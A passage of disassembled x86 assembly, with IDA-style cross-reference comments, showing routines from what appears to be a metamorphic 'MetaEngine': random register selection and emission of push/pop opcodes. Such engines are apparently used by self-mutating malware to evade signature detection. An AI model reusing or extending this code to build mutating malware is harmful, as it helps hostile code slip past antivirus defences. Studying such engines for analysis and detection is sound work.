0 ; if (flag) == false 1248 | jnz short ret_RandomReg32 1249 | mov cl, al ; cl = random reg 1250 | and cl, dh 1251 | mov ch, [esi+1] ; ch = ModRM 1252 | ror ch, 3 1253 | and ch, 111b ; keep last 3 bits 1254 | and ch, dh 1255 | cmp cl, ch 1256 | jz short GetRandomReg32 1257 | 1258 | ret_RandomReg32: ; CODE XREF: GetRandomReg32+27j 1259 | mov bl, al ; bl = random reg 1260 | retn 1261 | GetRandomReg32 endp 1262 | 1263 | ; _______________ S U B R O U T I N E _______________________________________ 1264 | 1265 | ; store (bl & dh) + 50h 1266 | 1267 | MakePushRandomReg proc near ; CODE XREF: MetaEngine+738p 1268 | ; MetaEngine+77Fp ... 1269 | mov al, bl 1270 | and al, dh 1271 | add al, 50h 1272 | stosb 1273 | retn 1274 | MakePushRandomReg endp 1275 | 1276 | 1277 | ; _______________ S U B R O U T I N E _______________________________________ 1278 | 1279 | ; store (bl & dh) + 58h 1280 | 1281 | MakePopRandomReg proc near ; CODE XREF: MetaEngine+76Ep 1282 | ; MetaEngine:Wrap_Morph3p ... 1283 | mov al, bl 1284 | and al, dh 1285 | add al, 58h 1286 | stosb 1287 | retn 1288 | MakePopRandomReg endp 1289 | --------------------------------------------------------------------------------